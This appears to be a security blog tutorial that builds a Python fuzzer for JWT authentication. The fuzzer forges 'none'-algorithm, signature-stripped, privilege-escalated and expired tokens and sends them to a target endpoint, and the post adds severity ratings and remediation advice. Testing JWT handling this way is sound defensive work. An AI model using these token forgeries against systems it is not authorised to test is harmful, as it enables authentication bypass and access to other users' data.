JSON Web Tokens (JWTs) have become the de facto standard for authentication and session management in modern web applications. Still, their widespread adoption has created a significant attack surface that remains frequently overlooked. Despite their simplicity, JWTs harbor subtle security vulnerabilities that can lead to complete authentication bypass, privilege escalation, or sensitive data exposure when implemented incorrectly.
This blog post introduces a focused approach to security testing through automation, demonstrating how to build a custom JWT fuzzer that systematically tests for common vulnerabilities such as algorithm confusion attacks, signature validation bypasses, and token manipulation exploits.
JWT tokens consist of three parts: a header, a payload, and a signature. Each component presents distinct security challenges that attackers frequently exploit. The header specifies the signing algorithm (like HS256 or RS256) and becomes vulnerable when applications fail to validate this parameter, enabling algorithm confusion attacks. The payload contains claims about the user and session, which may be tampered with if signature verification is improperly implemented. The signature itself—the primary security mechanism—can be bypassed through weak secret keys, algorithm downgrading, or poor validation logic.
The most critical JWT vulnerabilities include "none" algorithm attacks (where attackers modify tokens to claim no signature is needed), algorithm-switching exploits (changing RS256 to HS256 to leverage public key misuse), and signature stripping (removing validation entirely). Additional risks involve token replay when proper expiration checks are missing and weak secret key implementations that enable brute force attacks. By understanding these specific attack vectors, we can develop targeted fuzzing techniques that automate the discovery of these vulnerabilities before malicious actors can exploit them.
To automate JWT security testing, we'll build a Python-based fuzzer that systematically tests for common vulnerabilities. Our tool will generate, manipulate, and validate JWT tokens against target endpoints to identify security weaknesses.
Let's start with the core components:
import jwt
import requests
import json
import base64
import time
class JWTFuzzer:
def __init__(self, target_url, valid_token=None):
self.target_url = target_url
self.valid_token = valid_token
self.results = []
def decode_token_without_verification(self, token):
parts = token.split('.')
if len(parts) != 3:
return None, None
header = json.loads(base64.b64decode(parts[0] + '==').decode('utf-8'))
payload = json.loads(base64.b64decode(parts[1] + '==').decode('utf-8'))
return header, payload
def test_endpoint(self, token):
headers = {'Authorization': f'Bearer {token}'}
try:
response = requests.get(self.target_url, headers=headers)
return {
'status_code': response.status_code,
'authenticated': response.status_code < 400,
'response': response.text[:100] # Truncate long responses
}
except Exception as e:
return {'error': str(e)}
The decode_token_without_verification method in the JWTFuzzer class extracts the header and payload of a JWT without verifying its signature. It does this by splitting the token into its three parts (header, payload, and signature) and decoding the base64-encoded header and payload. The decoded values are then parsed as JSON and returned, allowing inspection of the token's structure without validating its authenticity.
The test_endpoint method sends an HTTP request to the target URL using the provided JWT as a bearer token in the Authorization header. It attempts to access the endpoint and captures the response status code and a truncated version of the response text. If the status code is below 400, the token is considered valid for authentication. If an error occurs during the request, it returns an error message, helping identify potential issues with the endpoint or token.
Next, we'll implement specific attack methods for algorithm confusion.
The test_algorithm_confusion method in the JWTFuzzer class is designed to detect vulnerabilities related to algorithm confusion in JWT authentication. Algorithm confusion attacks exploit misconfigurations where a system incorrectly processes JWTs signed using different algorithms. The method first extracts the JWT's header and payload using decode_token_without_verification. Then, it tests two attack scenarios: the "none" algorithm attack and algorithm switching from RS256 to HS256. If the alg value in the original token's header is RS256, the method attempts to create an HS256-signed version of the same payload to check if the server mistakenly accepts it. The results of these tests, including the generated tokens and their authentication outcomes, are stored in a list and returned.
def test_algorithm_confusion(self):
header, payload = self.decode_token_without_verification(self.valid_token)
results = []
# Test 'none' algorithm attack
none_tokens = self.create_none_algorithm_tokens(payload)
for token in none_tokens:
result = self.test_endpoint(token)
results.append({
'attack_type': 'none_algorithm',
'token': token,
'result': result
})
# Test alg switching (RS256 to HS256)
if header.get('alg') == 'RS256':
hs256_token = self.create_hs256_from_rs256(payload)
result = self.test_endpoint(hs256_token)
results.append({
'attack_type': 'alg_switching',
'token': hs256_token,
'result': result
})
return results
The create_none_algorithm_tokens method generates JWTs that specify none as the signing algorithm. Some servers mistakenly accept such tokens even though they lack a valid signature, leading to unauthorized access. The method iterates through different capitalization variants of "none" ('none', 'None', 'NONE', 'nOnE') to account for case-insensitive implementations. For each variant, it constructs a new token using create_custom_token, passing an empty signature. The generated tokens are returned as a list for further testing.
def create_none_algorithm_tokens(self, payload):
tokens = []
for alg_variant in ['none', 'None', 'NONE', 'nOnE']:
header = {'alg': alg_variant, 'typ': 'JWT'}
token = self.create_custom_token(header, payload, '')
tokens.append(token)
return tokens
The create_custom_token method constructs a JWT using a specified header, payload, and signature. It encodes the header and payload in base64 URL-safe format, ensuring they comply with JWT specifications. The function then assembles the token as header.payload.signature. If no signature is provided, the token is returned with an empty signature field (header.payload.), which is crucial for simulating attacks like the "none" algorithm exploit.
def create_custom_token(self, header, payload, signature=''):
h64 = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip('=')
p64 = base64.urlsafe_b64encode(json.dumps(payload).encode()).decode().rstrip('=')
if signature:
return f"{h64}.{p64}.{signature}"
else:
return f"{h64}.{p64}."
After establishing our fuzzer's foundation, we need to implement specific attack techniques to test for common JWT vulnerabilities. Each attack vector targets a different security flaw in JWT implementation.
The test_signature_validation method is designed to evaluate whether an application properly validates JWT signatures. A JWT consists of a header, payload, and signature, where the signature ensures the token's integrity and authenticity. This method performs two tests:
1. Signature Stripping Attack: It removes the signature entirely and sends a token with only the header and payload, testing if the application mistakenly accepts unsigned tokens.
def test_signature_validation(self):
header, payload = self.decode_token_without_verification(self.valid_token)
results = []
stripped_token = self.create_custom_token(header, payload, '')
result = self.test_endpoint(stripped_token)
results.append({
'attack_type': 'signature_stripped',
'token': stripped_token,
'result': result
})
2. Tampered Payload Attack: It modifies critical claims in the payload (like user roles or user IDs) without updating the signature, testing if the application verifies token integrity correctly.
tampered_payload = payload.copy()
# Elevate privileges if 'role' or similar exists
for key in ['role', 'roles', 'permissions', 'groups', 'isAdmin']:
if key in tampered_payload:
tampered_payload[key] = 'admin'
# If user ID exists, try changing it
for key in ['sub', 'user_id', 'userId', 'id']:
if key in tampered_payload:
# Try to access a different user's data
tampered_payload[key] = str(int(tampered_payload[key]) - 1)
# Keep original signature but with modified payload
parts = self.valid_token.split('.')
original_sig = parts[2]
tampered_token = self.create_custom_token(header, tampered_payload, original_sig)
result = self.test_endpoint(tampered_token)
results.append({
'attack_type': 'tampered_payload',
'token': tampered_token,
'result': result
})
The test_expiration_replay method ensures that the application correctly enforces expiration claims (exp) and detects replay attacks. A replay attack occurs when an attacker reuses a previously issued token, potentially bypassing security controls. This method tests two scenarios:
1. Expired Token Attack: It creates a token with an expiration date set to the past to check if the server correctly rejects expired tokens.
def test_expiration_replay(self):
header, payload = self.decode_token_without_verification(self.valid_token)
results = []
if 'exp' in payload:
# Create token with past expiration
expired_payload = payload.copy()
expired_payload['exp'] = int(time.time()) - 86400 # 1 day ago
# Generate with same algorithm as original
expired_token = jwt.encode(
expired_payload,
'invalid_key_for_testing', # We expect verification to fail on server
algorithm=header.get('alg', 'HS256')
)
result = self.test_endpoint(expired_token)
results.append({
'attack_type': 'expired_token',
'token': expired_token,
'result': result
})
2. Missing Expiration Claim Attack: It removes the exp field entirely from the token to verify whether the server enforces expiration rules.
if 'exp' in payload:
no_exp_payload = payload.copy()
del no_exp_payload['exp']
no_exp_token = jwt.encode(
no_exp_payload,
'invalid_key_for_testing',
algorithm=header.get('alg', 'HS256')
)
result = self.test_endpoint(no_exp_token)
results.append({
'attack_type': 'no_expiration',
'token': no_exp_token,
'result': result
})
The execute_all_attacks method acts as a central test runner that executes all implemented attacks. It collects the results from:
After executing all tests, it stores the results in self.results and returns them. This method ensures a systematic approach to testing multiple JWT vulnerabilities in a single automated run.
def execute_all_attacks(self):
all_results = []
# Run algorithm confusion attacks
alg_results = self.test_algorithm_confusion()
all_results.extend(alg_results)
# Run signature validation attacks
sig_results = self.test_signature_validation()
all_results.extend(sig_results)
# Run expiration/replay attacks
exp_results = self.test_expiration_replay()
all_results.extend(exp_results)
self.results = all_results
return all_results
Once the fuzzer has executed all attack vectors, the next step is to analyze the results and determine if any vulnerabilities exist. This process involves checking whether the application accepted manipulated JWT tokens and categorizing the security risks.
The analyze_results method first ensures that there are results to analyze. If no test results exist, it returns a message prompting the user to run the tests. Then, it iterates through each result, checking if the attack was successful—i.e., if the token was accepted for authentication. If so, it collects details about the vulnerability, including its type, severity, description, and remediation advice. The detected vulnerabilities are stored in a structured format along with evidence, such as the token used and the application's response. Finally, a summary is generated to provide an overall assessment of the JWT implementation's security.
def analyze_results(self):
if not self.results:
return "No test results to analyze. Run execute_all_attacks() first."
vulnerabilities = []
for result in self.results:
attack_type = result['attack_type']
response = result['result']
# Check if the attack was successful (token was accepted)
if response.get('authenticated', False):
severity = self._determine_severity(attack_type)
description = self._get_vulnerability_description(attack_type)
remediation = self._get_remediation_advice(attack_type)
vulnerability = {
'type': attack_type,
'severity': severity,
'description': description,
'remediation': remediation,
'evidence': {
'token': result['token'],
'response': response
}
}
vulnerabilities.append(vulnerability)
# Generate summary report
summary = self._generate_summary(vulnerabilities)
return {'vulnerabilities': vulnerabilities, 'summary': summary}
Not all vulnerabilities have the same impact; some pose critical risks, while others are less severe. The _determine_severity method categorizes each vulnerability into high, medium, or low severity based on the attack type. Critical attacks, such as the "none" algorithm or signature stripping, are marked as high severity because they can lead to complete authentication bypass. Less severe vulnerabilities, like accepting expired tokens, are classified as medium or low severity.
def _determine_severity(self, attack_type):
high_severity_attacks = ['none_algorithm', 'alg_switching', 'signature_stripped']
medium_severity_attacks = ['tampered_payload', 'expired_token']
if attack_type in high_severity_attacks:
return 'HIGH'
elif attack_type in medium_severity_attacks:
return 'MEDIUM'
else:
return 'LOW'
To make the results meaningful, the _get_vulnerability_description method assigns a human-readable explanation to each vulnerability. This helps security teams understand what the issue is and why it is a risk. The method uses a dictionary to store predefined descriptions for different attack types. If an attack type is unknown, it defaults to "Unknown vulnerability."
def _get_vulnerability_description(self, attack_type):
descriptions = {
'none_algorithm': 'The application accepts tokens with the "none" algorithm, allowing authentication bypass.',
'alg_switching': 'The application is vulnerable to algorithm switching attacks (RS256 to HS256).',
'signature_stripped': 'The application accepts tokens with invalid or missing signatures.',
'tampered_payload': 'The application accepts modified payloads with original signatures.',
'expired_token': 'The application accepts expired tokens.',
'no_expiration': 'The application accepts tokens without expiration claims.'
}
return descriptions.get(attack_type, 'Unknown vulnerability')
Identifying vulnerabilities is only part of the solution—mitigating them effectively is just as crucial. The _get_remediation_advice method provides specific recommendations based on the type of vulnerability detected in the JWT implementation. It ensures that each security issue comes with a well-defined fix, making it easier for developers to address weaknesses systematically.
def _get_remediation_advice(self, attack_type):
remediation = {
'none_algorithm': 'Explicitly specify allowed algorithms when verifying tokens. Example: jwt.verify(token, secret, { algorithms: ["HS256"] })',
'alg_switching': 'Use algorithm-specific key validation and explicitly specify allowed algorithms. For RS256, ensure the library correctly validates against the public key.',
'signature_stripped': 'Always verify token signatures using library methods. Never manually decode tokens or implement custom signature validation.',
'tampered_payload': 'Ensure proper signature validation and implement additional server-side authorization checks for sensitive operations.',
'expired_token': 'Always validate token expiration. Set the verify_exp option to true when verifying tokens.',
'no_expiration': 'Require expiration claims in all tokens and validate them. Set reasonable expiration times based on your security requirements.'
}
return remediation.get(attack_type, 'Review JWT implementation and follow security best practices.')
After identifying vulnerabilities, the _generate_summary method creates an overall security assessment. It counts the number of vulnerabilities by severity and generates a summary message. If any high-severity vulnerabilities exist, the summary includes a critical warning, highlighting the risk.
def _generate_summary(self, vulnerabilities):
if not vulnerabilities:
return "No vulnerabilities detected. JWT implementation appears secure."
high_count = sum(1 for v in vulnerabilities if v['severity'] == 'HIGH')
medium_count = sum(1 for v in vulnerabilities if v['severity'] == 'MEDIUM')
low_count = sum(1 for v in vulnerabilities if v['severity'] == 'LOW')
summary = f"Found {len(vulnerabilities)} JWT vulnerabilities: "
summary += f"{high_count} high, {medium_count} medium, and {low_count} low severity issues."
if high_count > 0:
summary += "\n\nCRITICAL: High severity issues indicate the JWT implementation has fundamental security flaws."
return summary
To make the findings actionable, the generate_report method formats the analysis into a structured report. The report can be output as JSON for machine processing or as a human-readable text report. It includes a summary of the vulnerabilities and detailed descriptions of each issue, along with recommended fixes and supporting evidence.
def generate_report(self, output_format='text'):
analysis = self.analyze_results()
if output_format == 'json':
return json.dumps(analysis, indent=2)
# Text report format
report = "JWT Security Testing Report\n"
report += "=" * 30 + "\n\n"
report += analysis['summary'] + "\n\n"
if 'vulnerabilities' in analysis and analysis['vulnerabilities']:
report += "Detailed Findings:\n"
report += "-" * 20 + "\n\n"
for i, vuln in enumerate(analysis['vulnerabilities'], 1):
report += f"{i}. {vuln['type']} - {vuln['severity']} Severity\n"
report += f" Description: {vuln['description']}\n"
report += f" Remediation: {vuln['remediation']}\n"
report += f" Evidence: Token was accepted with status code {vuln['evidence']['response'].get('status_code')}\n\n"
return report
JWT security vulnerabilities can have serious consequences, but they're often straightforward to fix once identified. Based on our automated testing approach, here are the key remediation strategies for the most common JWT security issues:
For algorithm confusion attacks:
For signature validation issues:
For expiration and replay attacks:
By implementing automated JWT security testing in our development workflow, we can catch these vulnerabilities early and address them before deployment. The fuzzer we've built provides a systematic approach to identifying JWT security issues, while these remediation tips provide clear guidance on how to fix them.
Remember that security is an ongoing process. As JWT implementations and attack techniques evolve, so should our testing tools and security practices. Regular security testing, coupled with a proactive approach to remediation, is our best defense against JWT-related security breaches.
For those without available endpoints to test the fuzzer, I've provided a Node.js server example on our GitHub page that can be run locally for experimentation.
Additional reads: